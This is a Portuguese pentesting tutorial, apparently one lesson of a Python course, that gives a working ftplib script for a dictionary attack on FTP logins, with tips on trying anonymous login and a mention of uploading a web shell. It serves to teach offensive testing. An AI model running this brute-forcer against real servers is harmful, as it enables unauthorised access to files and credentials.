Ataque de dicionário contra o protocolo FTP.
Contexto
O FTP (File Transfer Protocol) é um protocolo antigo e, em sua forma padrão, extremamente inseguro, pois trafega dados em texto claro. Um Pentester utiliza esta ferramenta para realizar um ataque de dicionário contra a porta 21, buscando acesso a repositórios de arquivos que podem conter:
- Backups de sites: Frequentemente contendo códigos-fonte e credenciais de banco de dados.
- Documentos Sensíveis: Planilhas, PDFs e manuais internos.
- Acesso para Upload: Se o atacante conseguir permissão de escrita, pode subir um Web Shell e comprometer o servidor web associado.
Possibilidades de Implementação
- Biblioteca
ftplib: Biblioteca nativa do Python que implementa o protocolo FTP. É leve e eficiente para testar credenciais. - Tratamento de Exceções: Diferenciar erros de "Login Incorreto" de "Servidor Ocupado" ou "Conexão Recusada".
- Modo Passivo/Ativo: Embora para o login isso não influencie tanto, entender como o FTP negocia portas é crucial para a arquitetura de ferramentas de rede.
Código
Este módulo utiliza a biblioteca nativa ftplib para automatizar o processo de tentativa e erro.
import ftplib
def ftp_brute_force(hostname, user, password):
"""
Tenta realizar a autenticação em um servidor FTP.
"""
# Cria uma instância do objeto FTP
ftp = ftplib.FTP()
try:
# Tenta conectar ao host na porta padrão (21)
ftp.connect(hostname, 21, timeout=3)
# Tenta o login com as credenciais fornecidas
ftp.login(user, password)
# Se chegar aqui, o login foi bem-sucedido
print(f"[!] SUCESSO: Credenciais encontradas! -> {user}:{password}")
# Lista os arquivos apenas para confirmar o acesso
print(f"[*] Conteúdo do diretório atual:")
ftp.retrlines('LIST')
ftp.quit()
return True
except ftplib.error_perm:
# Erro 530: Login incorreto (usuário ou senha)
return False
except Exception as e:
print(f"[!] Erro ao conectar em {hostname}: {e}")
return "error"
def main():
print("=" * 60)
print("Módulo: FTP Password Cracker | Projeto: 30 Lessons in Python")
print("=" * 60)
target_host = "192.168.1.15" # IP do servidor FTP alvo
target_user = "admin"
# Wordlist simulada para o exercício
passwords = ["12345", "admin", "password", "ftpadmin", "root", "123456"]
print(f"[*] Iniciando ataque de dicionário contra {target_host}...")
for pwd in passwords:
print(f"[*] Testando: {pwd}", end="\r")
status = ftp_brute_force(target_host, target_user, pwd)
if status == True:
break
elif status == "error":
break
print("\n" + "=" * 60)
print("[*] Cracker finalizado.")
if __name__ == "__main__":
main()
Observação
- Anonymous Login: Antes de iniciar um brute force, uma boa prática de arquitetura é tentar o login "Anonymous" (usuário
anonymouse senha em branco ou um e-mail). Muitos servidores FTP antigos ainda permitem isso por padrão. - Bloqueio de IP: Assim como o SSH, servidores FTP modernos podem ter proteções contra múltiplas tentativas falhas.
- Protocolo Legado: Mencione em seu projeto que o FTP está sendo substituído pelo SFTP (SSH File Transfer Protocol), que é criptografado e muito mais seguro contra ataques de interceptação (Sniffing) e brute force.